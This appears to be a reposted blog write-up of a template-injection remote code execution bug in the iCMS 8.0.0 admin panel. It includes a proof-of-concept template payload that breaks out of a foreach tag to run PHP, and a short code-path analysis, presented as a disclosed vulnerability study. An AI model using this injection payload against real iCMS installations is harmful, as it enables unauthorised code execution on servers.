ICMS 8.0.0后台模板注入导致远程代码执行0day漏洞分析
2021-12-10 00:3:17 Author: www.gem-love.com(查看原文) 阅读量:12 收藏

Author: 颖奇L’Amore

Blog: www.gem-love.com


这个洞一年前就挖到了,然后2月份给了今年中旬比赛的XCTF Final(但是这个洞用不了因为题目需要RCE),因为比较久远,一直给忘记了。漏洞也是直接报给了开发者修复。

then upload 1.htm:

<font size=24px color=red>iCMS<=8.0.0 RCE</font>
<!--{foreach key=date value=alist from=1);phpinfo();/*?>}-->

Set template file to the htm file uploaded before

image-20210601160623564

RCE:

image-20210601160523561

TemplateLite->_fetch_compile() calls $compiler->_compile_file($template_file), in _compile_file method, then it calls _compile_tag()

image-20210601164541565

In the _compile_tag method, strict filtering is not performed, resulting in malicious code being injected into the template source code

image-20210601164709750

go back to TemplateLite->_fetch_compile(), the template code injected with malicious code is written into the file and included, resulting in remote code execution

image-20210601165051823

还有一个RCE的洞,当时我做题目docker是用的官网的7.0.16,其实开发者早就更新到了8的版本。

7.0.16可以通过任意文件上传+更新patch包来getshell,这个也是注意到了,但是已在8.x不可用了,原因是通过Request::input()进行file_get_contents('php://input')并进行parse_str(),处理为数组后过不了md5()。所以这个洞不详细分析了。

image-20210601185621468

Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.


文章来源: https://www.gem-love.com/2021/12/10/ICMS-8-0-0%E5%90%8E%E5%8F%B0%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C0day%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
如有侵权请联系:admin#unsafe.sh